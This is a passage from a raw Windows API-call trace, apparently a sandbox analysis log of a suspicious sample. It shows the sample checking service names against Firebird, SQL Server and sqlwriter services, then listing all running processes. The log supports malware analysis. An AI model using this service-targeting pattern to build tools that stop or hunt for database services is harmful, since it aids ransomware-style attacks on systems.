(lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0114.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0114.217] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0114.217] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0114.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0114.217] lstrlenW (lpString="LSM") returned 3 [0114.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0114.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0114.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0114.218] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0114.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0114.218] lstrlenW (lpString="MpsSvc") returned 6 [0114.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0114.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0114.218] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0114.218] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0114.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0114.218] lstrlenW (lpString="NcbService") returned 10 [0114.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0114.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0114.218] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0114.218] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0114.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0114.218] lstrlenW (lpString="netprofm") returned 8 [0114.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0114.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0114.218] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0114.218] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0114.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0114.218] lstrlenW (lpString="NlaSvc") returned 6 [0114.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0114.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0114.218] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0114.218] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0114.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0114.219] lstrlenW (lpString="nsi") returned 3 [0114.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0114.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0114.219] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0114.219] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0114.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0114.219] lstrlenW (lpString="PcaSvc") returned 6 [0114.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0114.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0114.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0114.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0114.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0114.219] lstrlenW (lpString="PlugPlay") returned 8 [0114.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0114.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0114.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0114.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0114.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0114.219] lstrlenW (lpString="Power") returned 5 [0114.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0114.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0114.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0114.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0114.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0114.219] lstrlenW (lpString="ProfSvc") returned 7 [0114.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0114.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0114.220] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0114.220] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0114.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0114.220] lstrlenW (lpString="RpcEptMapper") returned 12 [0114.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0114.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0114.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0114.220] lstrlenW (lpString="RpcSs") returned 5 [0114.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0114.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0114.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0114.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0114.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0114.220] lstrlenW (lpString="SamSs") returned 5 [0114.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0114.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0114.220] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0114.220] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0114.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0114.220] lstrlenW (lpString="Schedule") returned 8 [0114.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0114.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0114.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0114.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0114.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0114.221] lstrlenW (lpString="SecurityHealthService") returned 21 [0114.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0114.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0114.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0114.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0114.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0114.221] lstrlenW (lpString="SENS") returned 4 [0114.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0114.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0114.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0114.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0114.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0114.221] lstrlenW (lpString="ShellHWDetection") returned 16 [0114.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0114.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0114.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0114.221] lstrlenW (lpString="Spooler") returned 7 [0114.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0114.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0114.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0114.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0114.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0114.222] lstrlenW (lpString="sppsvc") returned 6 [0114.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0114.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0114.222] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0114.222] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0114.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0114.222] lstrlenW (lpString="SSDPSRV") returned 7 [0114.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0114.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0114.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0114.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0114.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0114.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0114.490] Process32FirstW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.495] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.496] lstrlenW (lpString="System") returned 6 [0114.496] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.497] lstrlenW (lpString="smss.exe") returned 8 [0114.497] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.498] lstrlenW (lpString="csrss.exe") returned 9 [0114.498] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.499] lstrlenW (lpString="wininit.exe") returned 11 [0114.499] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.500] lstrlenW (lpString="csrss.exe") returned 9 [0114.500] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.501] lstrlenW (lpString="winlogon.exe") returned 12 [0114.501] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.502] lstrlenW (lpString="services.exe") returned 12 [0114.502] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.503] lstrlenW (lpString="lsass.exe") returned 9 [0114.503] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.504] lstrlenW (lpString="svchost.exe") returned 11 [0114.504] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.504] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0114.505] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.505] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0114.505] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.507] lstrlenW (lpString="svchost.exe") returned 11 [0114.507] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.508] lstrlenW (lpString="dwm.exe") returned 7 [0114.508] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.509] lstrlenW (lpString="svchost.exe") returned 11 [0114.509] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.510] lstrlenW (lpString="svchost.exe") returned 11 [0114.510] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.511] lstrlenW (lpString="svchost.exe") returned 11 [0114.511] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.512] lstrlenW (lpString="svchost.exe") returned 11 [0114.512] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.513] lstrlenW (lpString="svchost.exe") returned 11 [0114.513] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.514] lstrlenW (lpString="svchost.exe") returned 11 [0114.514] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.515] lstrlenW (lpString="svchost.exe") returned 11 [0114.515] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.515] lstrlenW (lpString="svchost.exe") returned 11 [0114.516] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.516] lstrlenW (lpString="svchost.exe") returned 11 [0114.516] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.517] lstrlenW (lpString="spoolsv.exe") returned 11 [0114.517] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.518] lstrlenW (lpString="svchost.exe") returned 11 [0114.518] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.519] lstrlenW (lpString="svchost.exe") returned 11 [0114.519] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.520] lstrlenW (lpString="audiodg.exe") returned 11 [0114.520] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0114.521] lstrlenW (lpString="sihost.exe") returned 10 [0114.521] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.532] lstrlenW (lpString="svchost.exe") returned 11 [0114.533] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.533] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.533] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0114.534] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0114.534] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0114.535] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0114.535] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.567] lstrlenW (lpString="explorer.exe") returned 12 [0114.567] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0114.568] lstrlenW (lpString="Memory Compression") returned 18 [0114.568] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0114.575] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0114.575] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0114.576] lstrlenW (lpString="SearchUI.exe") returned 12 [0114.576] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0114.577] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0114.577] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.578] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0114.578] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0114.579] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0114.579] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0114.580] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0114.580] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.581] lstrlenW (lpString="conhost.exe") returned 11 [0114.581] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0114.582] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0114.582] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0114.583] lstrlenW (lpString="upper arc.exe") returned 13 [0114.583] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0114.584] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0114.584] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0114.585] lstrlenW (lpString="isolated-concerned.exe") returned 22 